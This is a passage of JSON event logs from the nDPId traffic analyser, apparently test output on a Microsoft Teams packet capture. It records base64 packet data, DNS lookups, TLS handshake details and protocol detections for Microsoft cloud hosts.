ZiVtl9K9dfmDgIMFkDHVXxj0KcE4\/k6P5Q6xYET2mF+\/KGt831cEAM+tS6KbmXYfdazHpWBjZaqIT8APvroabmHFKs7KBN07qhhE1LqnLYQgPE9J+jTqh\/5\/5t3lTg7V2Mv1ie\/MdFwkbfFlGwNIFdlK62klWt1Rzc6yPLKBAqhYcJumU5hcdi1esvnZXhHyU8Gh4YY0jJfeeUcUkWPaDNhxUKbt+v3QIDAQABo4HWMIHTMB0GA1UdDgQWBBSi\/mo\/hCwSH9mppk1Ne83mKIzxTDAOBgNVHQ8BAf8EBAMCB4AwEwYDVR0lBAwwCgYIKwYBBQUHAwkwDwYJKwYBBQUHMAEFBAIFADAfBgNVHSMEGDAWgBR6e4zBz+egyhzUa\/r74TPDDxqinTA+BgkrBgEEAYI3FQcEMTAvBicrBgEEAYI3FQiH2oZ1g+7ZAYLJhRuBtZ5hhfTrYIFdgcybR4HI6RYCAWQCAQcwGwYJKwYBBAGCNxUKBA4wDDAKBggrBgEFBQcDCTANBgkqhkiG9w0BAQsFAAOCAgEAo+X1IrQtj4RdTWkMIlk0gtf+2wu2EGBVWR0UNsC6fTHxbDxCaVbqosSumFX8B5TSL6h9j7U1EEjd1Lk8dAX3JdPZVjSypAFK2L3O7NHDa5\/XUYt8hnHkRY0+UySE99fNY3FRWLb8WQlY3fCq\/BpKGblzR\/mx6V9ZnwGqrxJGWajHwH3qYhV\/fCTdJd4c2lluNReXs5wfpPv6vywsRrwRg4QFxLkkX6Tg8QeqTmY0GumBpzOoIkuHG6KLdLtsgEh4bqwFl7zfB4Q8PGnGxOnDTYP\/nJcd30L6jEA\/glBtUCDKgeMV3Dhzciw4TsXFN81RJk1aZBeM56Le9DfadHRyEQeM2VN0nAq5AahNAXSTjmOIVXvPuzQi\/aseq\/50Hc\/XxKWBQGJ\/CD5LTFDd8+iX9yigG\/ImEMgAhWYv444XXtlY6f08xfqPOdmDPEyMgEgg4yo1Rot9ddtsH\/KQA5Q6StU7pdNx2XLbrB6+AINFRMg8VEPOg3qyWei0E\/ibAAtQRBMTkdNb66W3B\/k\/pQgcRnYC0oe1b0+tvb8g5WPuJnxYxbc6lmR+E+ZvnSvgoePlIvUUSi6PTKZQlZOKM\/tIkQtQdmyV+oFnNvBViCE+Ouxo4+vfhdrD0Q86Iyf77mdoP1e6jOMLzre\/UzbnMhFjQ7cN9bjKARhGxFN+\/7Pgs8sMAAEoAwAdIABskHbq6GJUYl5ELC0FNOFj+2szxYn6Iujn+2z2fUZCBAEBADyJxG8sUjRvcmxNKTCiN\/EXT3h+SwBeoqLEm+rx"} +00739{"flow_id":57,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2273,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041687,"pkt_ts_usec":835706,"pkt_caplen":297,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":297,"pkt_l4_len":263,"pkt":"KDc3AG3IEBMx8Tl2CABFAAEbGLZAAGwGRFg0qbp3wKgBBgG77JMQ1DQRYdMNpYAYBAWZXwAAAQEICgEid5owhMLwlUn3uHgdhgU4MHogDrsVrY6D1rZLJHuvf87AS5dveCXuWr7wVSU8d\/VVEagzs9HiJvDqzYhOTLFh47XeH8G2GqoHo2gLYlw7TpXRKe9jUapVLBq6r0AIg6kvr4OnjlVSUL3d1meucwV4gMn1IMvou4XS3791x289aQ5rjH6jk2RWa3pxCGKDlijxsc\/q1WDbgRQYx3jOZa5HBeb\/VGPkU8iXp3F5K2yGp1JlNKWIBkufSBPxEt+i0B6Tc8BJsHOXF4aBYp7IEYbrHmXfRYs77Gd2PybaVEOcKhft5LW9z2TAUJsOAAAA"} +00425{"flow_id":57,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2274,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041687,"pkt_ts_usec":835756,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGifXAqAEGNKm6d+yTAbth0w2lENQucYAQD6as3QAAAQEICjCEwx0BInea"} +00425{"flow_id":57,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2275,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041687,"pkt_ts_usec":835757,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGifXAqAEGNKm6d+yTAbth0w2lENQ0+IAQD3GmiwAAAQEICjCEwx0BInea"} +00426{"flow_id":57,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2276,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041687,"pkt_ts_usec":835759,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGifXAqAEGNKm6d+yTAbth0w2lENQ0+IAQEACl\/AAAAQEICjCEwx0BInea"} +00554{"flow_id":57,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2277,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041687,"pkt_ts_usec":836212,"pkt_caplen":159,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":159,"pkt_l4_len":125,"pkt":"EBMx8Tl2KDc3AG3ICABFAACRAABAAEAGiZjAqAEGNKm6d+yTAbth0w2lENQ0+IAYEAAnVQAAAQEICjCEwx0BIneaFgMDACUQAAAhIMy35KoEGSMcFnBa8jNDHx1RCVuhV\/QU89YQEITmKYxRFAMDAAEBFgMDACgAAAAAAAAAAFUqcKplxXzSNxk2DYQCNpbL\/SsW1VcXCQjZlJHNg+wn"} +00553{"flow_id":57,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2278,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041687,"pkt_ts_usec":844964,"pkt_caplen":159,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":159,"pkt_l4_len":125,"pkt":"EBMx8Tl2KDc3AG3ICABFAACRAABAAEAGiZjAqAEGNKm6d+yTAbth0w4CENQ0+IAYEAAVhgAAAQEICjCEwyUBIneaFwMDAFgAAAAAAAAAASxgyx+Ky9RBAf0mud9B+q5CGZWyPshwEGQXTMTr7pa+hWGxwf18PjoNJzvtqriITj3xB8PcdsVT6zknQV+6Qnfc9EdObGk\/UuzAvm+KPAUt"} +00470{"flow_id":32,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2304,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041688,"pkt_ts_usec":134826,"pkt_caplen":97,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":97,"pkt_l4_len":63,"pkt":"KDc3AG3IEBMx8Tl2CABFAABTwZhAADQGRFanY9ekwKgBBhFS7ILLfL0aJqxLk4AYAfVZTwAAAQEIChN5Lm0whLFTFQMDABrJs0SB+OzC2\/de8I9YL02OJFD2ECcCfrYWyA=="} +00427{"flow_id":32,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2305,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041688,"pkt_ts_usec":134925,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG+g3AqAEGp2PXpOyCEVImrEuTy3y9OYAQD\/\/2kgAAAQEICjCExD8TeS5t"} +00375{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2311,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041688,"pkt_ts_usec":611359,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAAeCjKBfrMACZCQgMAAAAAAJAAeCjKBfrMAAAAAJAAeCjKBfrMgAEAAAYAAQAEAKWlpaWlpaWl"} +00155{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2311,"source":"teams.pcap","alias":"nDPId-test","type":38} +00386{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2313,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041689,"pkt_ts_usec":410919,"pkt_caplen":60,"pkt_type":34969,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWriJklgAAA2A0X1lWrAACAAADYDRfWVauACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00158{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2313,"source":"teams.pcap","alias":"nDPId-test","type":34969} +00375{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2314,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041689,"pkt_ts_usec":611350,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAAeCjKBfrMACZCQgMAAAAAAJAAeCjKBfrMAAAAAJAAeCjKBfrMgAEAAAYAAQAEAKWlpaWlpaWl"} +00155{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2314,"source":"teams.pcap","alias":"nDPId-test","type":38} +00375{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2316,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041690,"pkt_ts_usec":611386,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAAeCjKBfrMACZCQgMAAAAAAJAAeCjKBfrMAAAAAJAAeCjKBfrMgAEAAAYAAQAEAKWlpaWlpaWl"} +00155{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2316,"source":"teams.pcap","alias":"nDPId-test","type":38} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2317,"source":"teams.pcap","alias":"nDPId-test","flow_id":58,"flow_packet_id":1,"flow_first_seen":1587041690880,"flow_last_seen":0,"flow_tot_l4_data_len":62,"flow_min_l4_data_len":62,"flow_max_l4_data_len":62,"flow_avg_l4_data_len":62,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":63930,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00464{"flow_id":58,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2317,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041690,"pkt_ts_usec":880711,"pkt_caplen":96,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":96,"pkt_l4_len":62,"pkt":"EBMx8Tl2KDc3AG3ICABFAABSJv0AAP8REUbAqAEGwKgBAfm6ADUAPoc2eGoBAAABAAAAAAAAAmRjE2FwcGxpY2F0aW9uaW5zaWdodHMJbWljcm9zb2Z0A2NvbQAAAQAB"} +00704{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2317,"source":"teams.pcap","alias":"nDPId-test","flow_id":58,"flow_packet_id":1,"flow_first_seen":1587041690880,"flow_last_seen":0,"flow_tot_l4_data_len":62,"flow_min_l4_data_len":62,"flow_max_l4_data_len":62,"flow_avg_l4_data_len":62,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":63930,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"16":"Suspicious DGA domain name"},"proto":"DNS.Microsoft","breed":"Safe","category":"Cloud"},"dns": {"query":"dc.applicationinsights.microsoft.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00743{"flow_id":58,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2318,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041690,"pkt_ts_usec":915102,"pkt_caplen":301,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":301,"pkt_l4_len":267,"pkt":"KDc3AG3IEBMx8Tl2CABFAAEfVLxAADkRaLrAqAEBwKgBBgA1+boBCwAAeGqBgAABAAUAAAAAAmRjE2FwcGxpY2F0aW9uaW5zaWdodHMJbWljcm9zb2Z0A2NvbQAAAQABwAwABQABAAAACgAuHWFwcGxpY2F0aW9uaW5zaWdodHNfaW5nZXN0aW9uB21vbml0b3IFYXp1cmXALcBCAAUAAQAAAJEALB1hcHBsaWNhdGlvbmluc2lnaHRzX2luZ2VzdGlvbgtwcml2YXRlbGlua8BgwHwABQABAAAAXwAXAmRjDnRyYWZmaWNtYW5hZ2VyA25ldADAtAAFAAEAAAAeABwQY2ZyLWJyZWV6aWVzdC1pbghjbG91ZGFwcMDGwNcAAQABAAAABwAEKE+KKQ=="} +00732{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2318,"source":"teams.pcap","alias":"nDPId-test","flow_id":58,"flow_packet_id":2,"flow_first_seen":1587041690880,"flow_last_seen":1587041690915,"flow_tot_l4_data_len":329,"flow_min_l4_data_len":62,"flow_max_l4_data_len":267,"flow_avg_l4_data_len":164,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":63930,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"16":"Suspicious DGA domain name"},"proto":"DNS.Microsoft","breed":"Safe","category":"Cloud"},"dns": {"query":"dc.applicationinsights.microsoft.com","num_queries":1,"num_answers":5,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"40.79.138.41"}} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2319,"source":"teams.pcap","alias":"nDPId-test","flow_id":59,"flow_packet_id":1,"flow_first_seen":1587041690916,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"40.79.138.41","src_port":60564,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":59,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2319,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041690,"pkt_ts_usec":916341,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGxpHAqAEGKE+KKeyUAbup7MP+AAAAALAC\/\/9nAwAAAgQFtAEDAwUBAQgKMITPEwAAAAAEAgAA"} +00437{"flow_id":59,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2320,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041690,"pkt_ts_usec":946470,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8GwdAAG4GfY4oT4opwKgBBgG77JSCI5UvqezD\/6ASIAArFwAAAgQFoAEDAwgEAggKUvjCpTCEzxM="} +00425{"flow_id":59,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2321,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041690,"pkt_ts_usec":946579,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGxp3AqAEGKE+KKeyUAbup7MP\/giOVMIAQEAlpqQAAAQEICjCEzzFS+MKl"} +00749{"flow_id":59,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2322,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041690,"pkt_ts_usec":946965,"pkt_caplen":305,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":305,"pkt_l4_len":271,"pkt":"EBMx8Tl2KDc3AG3ICABFAAEjAABAAEAGxa7AqAEGKE+KKeyUAbup7MP\/giOVMIAYEAnoKAAAAQEICjCEzzFS+MKlFgMBAOoBAADmAwMbIQaP+rFGCYsreMCv9lvxK9Aj9uBCbNOtF1CHIeISyAAAKMAswCvAJMAjwArACcypwDDAL8AowCfAFMATzKgAnQCcAD0APAA1AC8BAACV\/wEAAQAAAAAXABUAABJnYXRlLmhvY2tleWFwcC5uZXQAFwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAM3QAAAASAAAAEAAwAC4CaDIFaDItMTYFaDItMTUFaDItMTQIc3BkeS8zLjEGc3BkeS8zCGh0dHAvMS4xAAsAAgEAAAoACgAIAB0AFwAYABk="} +00750{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2322,"source":"teams.pcap","alias":"nDPId-test","flow_id":59,"flow_packet_id":4,"flow_first_seen":1587041690916,"flow_last_seen":1587041690946,"flow_tot_l4_data_len":387,"flow_min_l4_data_len":32,"flow_max_l4_data_len":271,"flow_avg_l4_data_len":96,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"40.79.138.41","src_port":60564,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"gate.hockeyapp.net","ja3":"a69708a64f853c3bcc214c2c5faf84f3","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,h2-16,h2-15,h2-14,spdy\/3.1,spdy\/3,http\/1.1"}} +02351{"flow_id":59,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2323,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041690,"pkt_ts_usec":980253,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUGwlAAG4Gd\/QoT4opwKgBBgG77JSCI5rQqezE7oAQBAU0IQAAAQEIClL4wsUwhM8xdGlvbmluc2lnaHRzLmF6dXJlLmNvbYISZ2F0ZS5ob2NrZXlhcHAubmV0ghVkYy50cmFmZmljbWFuYWdlci5uZXSCH2F1c3NlLWJyZWV6aWVzdC1pbi5jbG91ZGFwcC5uZXSCHmJyenMtYnJlZXppZXN0LWluLmNsb3VkYXBwLm5ldIIdY2NhLWJyZWV6aWVzdC1pbi5jbG91ZGFwcC5uZXSCHWNmci1icmVlemllc3QtaW4uY2xvdWRhcHAubmV0gh1jaW4tYnJlZXppZXN0LWluLmNsb3VkYXBwLm5ldIIdY2tvLWJyZWV6aWVzdC1pbi5jbG91ZGFwcC5uZXSCHWN1cy1icmVlemllc3QtaW4uY2xvdWRhcHAubmV0gh9jdXMwMi1icmVlemllc3QtaW4uY2xvdWRhcHAubmV0gh1lYXMtYnJlZXppZXN0LWluLmNsb3VkYXBwLm5ldIIdZWF1LWJyZWV6aWVzdC1pbi5jbG91ZGFwcC5uZXSCHWVqcC1icmVlemllc3QtaW4uY2xvdWRhcHAubmV0gh1ldXMtYnJlZXppZXN0LWluLmNsb3VkYXBwLm5ldIIfZXVzMDItYnJlZXppZXN0LWluLmNsb3VkYXBwLm5ldIIfZXVzMDMtYnJlZXppZXN0LWluLmNsb3VkYXBwLm5ldIIfZXVzMDQtYnJlZXppZXN0LWluLmNsb3VkYXBwLm5ldIIfZXVzMDUtYnJlZXppZXN0LWluLmNsb3VkYXBwLm5ldIIeZXVzMi1icmVlemllc3QtaW4uY2xvdWRhcHAubmV0gh5uY3VzLWJyZWV6aWVzdC1pbi5jbG91ZGFwcC5uZXSCHW5ldS1icmVlemllc3QtaW4uY2xvdWRhcHAubmV0gh5zYWZuLWJyZWV6aWVzdC1pbi5jbG91ZGFwcC5uZXSCHnNjdXMtYnJlZXppZXN0LWluLmNsb3VkYXBwLm5ldIIdc2VhLWJyZWV6aWVzdC1pbi5jbG91ZGFwcC5uZXSCHXN1ay1icmVlemllc3QtaW4uY2xvdWRhcHAubmV0gh1zd24tYnJlZXppZXN0LWluLmNsb3VkYXBwLm5ldIIdd2V1LWJyZWV6aWVzdC1pbi5jbG91ZGFwcC5uZXSCH3dldTAyLWJyZWV6aWVzdC1pbi5jbG91ZGFwcC5uZXSCH3dldTAzLWJyZWV6aWVzdC1pbi5jbG91ZGFwcC5uZXSCHXd1cy1icmVlemllc3QtaW4uY2xvdWRhcHAubmV0gh53dXMyLWJyZWV6aWVzdC1pbi5jbG91ZGFwcC5uZXSCIHd1czIwMi1icmVlemllc3QtaW4uY2xvdWRhcHAubmV0MIGsBgNVHR8EgaQwgaEwgZ6ggZuggZiGS2h0dHA6Ly9tc2NybC5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvY3JsL01pY3Jvc29mdCUyMElUJTIwVExTJTIwQ0ElMjA1LmNybIZJaHR0cDovL2NybC5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvY3JsL01pY3Jvc29mdCUyMElUJTIwVExTJTIwQ0ElMjA1LmNybDBNBgNVHSAERjBEMEIGCSsGAQQBgjcqATA1MDMGCCsGAQUFBwIBFidodHRwOi8vd3d3Lm1pY3Jvc29mdC5jb20vcGtpL21zY29ycC9jcHMwHwYDVR0jBBgwFoAUCP4ln3TqhwTCvLuOqDhfM8bRbGUwHQYDVR0lBBYwFAYIKwYBBQUHAwIGCCsGAQUFBwMBMA0GCSqGSIb3DQEBCwUAA4ICAQAJWTZzx1MK5GdVXHHDNo4UfZmpqNSZyuP+i0NBu9AKrV3sQoq5pmeYJ7vP+oV2p39mLTb2oqM52AGvlnpmoTNJwN7XVFBPYI8jrT6ZwWv1hAZa"} +02370{"flow_id":59,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2324,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041690,"pkt_ts_usec":980284,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUGwhAAG4Gd\/UoT4opwKgBBgG77JSCI5UwqezE7oAQBAXCJwAAAQEIClL4wsUwhM8xFgMDGyQCAABVAwNemFWa20Cj7Unjex3iJOTtzxG\/C7sRUaW8D8adjZRDjSBSLgAA9oEaTw33+XDCI2eobHPkHM5cfyRARrnQe4Dl7MAoAAANAAUAAAAXAAD\/AQABAAsAEkcAEkQADIYwggyCMIIKaqADAgECAhNuABQ+IygxVnX+3gt8AAAAFD4jMA0GCSqGSIb3DQEBCwUAMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMRUwEwYDVQQLEwxNaWNyb3NvZnQgSVQxHjAcBgNVBAMTFU1pY3Jvc29mdCBJVCBUTFMgQ0EgNTAeFw0yMDAzMTcyMTQ2MTRaFw0yMjAzMTcyMTQ2MTRaMCcxJTAjBgNVBAMTHGRjLnNlcnZpY2VzLnZpc3VhbHN0dWRpby5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDTjRhywpCP09kk\/FUbRL0JHcwFbXYrKO+yEnwFM3rPYCWH\/N3ytkgm55W3De9R7TQ4nG6hXjvu49n3GFbb7tzgjX4oUgzhxxZTMBnakqeLogod6D5ZdDfokss9bp+ils6rtyCJ2XgEKGa5\/c8Mrrd6rtcviCMBXmgB2qxkza1z3wKmopsTvC\/wZ3Plw8ddfnLBdhAtnPdFwhZLXumxfbNwCtNzeqzd3gMfj6Vx9tJpzRnOOnFRUc8UHNW\/hDyGqfdV9oadinJHISOkaW14SG+NiKCbs62+K4kOYuse8tDejJHAH5YGV2juPptMgDxbpvzxpK0cFfQD7NTJKkWmOjp7AgMBAAGjgghAMIIIPDCCAYAGCisGAQQB1nkCBAIEggFwBIIBbAFqAHcARqVV63X6kSAwtaKJafTzfREsQXS+\/Um4havy\/HD+bUcAAAFw6n9T+QAABAMASDBGAiEAmX768G6NS+ZYbiNO9DZJmZdvkp6\/SHor7vGRrNqzQZQCIQCzE3PNmahLeoD1Ru15LTmGBf3T\/5eQtpKsbupBPVD5rAB2AEHIyrHfIkZKEMahOglCh15OMYsbA+vrS8do8JBilgb2AAABcOp\/U6gAAAQDAEcwRQIhAMlAkpZnDcncwQhl8yQ9bv\/urmUo\/HvBUXlQ2OoHaY9wAiBX8w8hdwe+ti1JzlOgo+l6ERsL\/85ZiYbyBS4PLBobRAB3AFWB1MIWkDYBSuoLm1c8U\/DA5Dh4cCUIFy+jqh0HE9MMAAABcOp\/VMgAAAQDAEgwRgIhAKECRib58RCo5MlQHGb4ATWRjKZrjAjdUPi+tLxPf7uOAiEAilsYu+v0osacw7zHLY7aZ\/y5oCRfVO4yXuUTkPyx1scwJwYJKwYBBAGCNxUKBBowGDAKBggrBgEFBQcDAjAKBggrBgEFBQcDATA+BgkrBgEEAYI3FQcEMTAvBicrBgEEAYI3FQiH2oZ1g+7ZAYLJhRuBtZ5hhfTrYIFdhNLfQoLnk3oCAWQCAR0wgYUGCCsGAQUFBwEBBHkwdzBRBggrBgEFBQcwAoZFaHR0cDovL3d3dy5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvTWljcm9zb2Z0JTIwSVQlMjBUTFMlMjBDQSUyMDUuY3J0MCIGCCsGAQUFBzABhhZodHRwOi8vb2NzcC5tc29jc3AuY29tMB0GA1UdDgQWBBSJNZ2CkQqUlyOTG\/kUtmT72TvlhTALBgNVHQ8EBAMCBLAwggRZBgNVHREEggRQMIIETIIcZGMuc2VydmljZXMudmlzdWFsc3R1ZGlvLmNvbYIkZGMuYXBwbGljYXRpb25pbnNpZ2h0cy5taWNyb3NvZnQuY29tgiBkYy5hcHBsaWNh"} +00440{"flow_id":59,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2325,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041690,"pkt_ts_usec":980356,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGxpHAqAEGKE+KKeyUAbup7MTugiOVMLAQEAny+QAAAQEICjCEz1JS+MKlAQEFCoIjmtCCI6Bw"} +00424{"flow_id":59,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2326,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041690,"pkt_ts_usec":980376,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGxp3AqAEGKE+KKeyUAbup7MTugiOgcIAQD69dkwAAAQEICjCEz1JS+MLF"} +02373{"flow_id":59,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2327,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041690,"pkt_ts_usec":980448,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUGwpAAG4Gd\/MoT4opwKgBBgG77JSCI6BwqezE7oAQBAVTtwAAAQEIClL4wsUwhM8xF\/KtH5EMefO8hv0pjo+hGaXILLf3FXEJEUNym4UkrCLWDamR59f1QmpKcgSIkZifPw\/6jT04Lx3G8j0u\/4Zr8jqlRUvE3IGU2i\/9PtddIGVo8QNa6Xkq8YGSG5VNgIqMIWbCkj8KJ+Czz+OcotlKrPgIDMBvcI4lpWpdQBZoNdY\/ftIR1NdqVrXotwyqYoxBWW54gatmC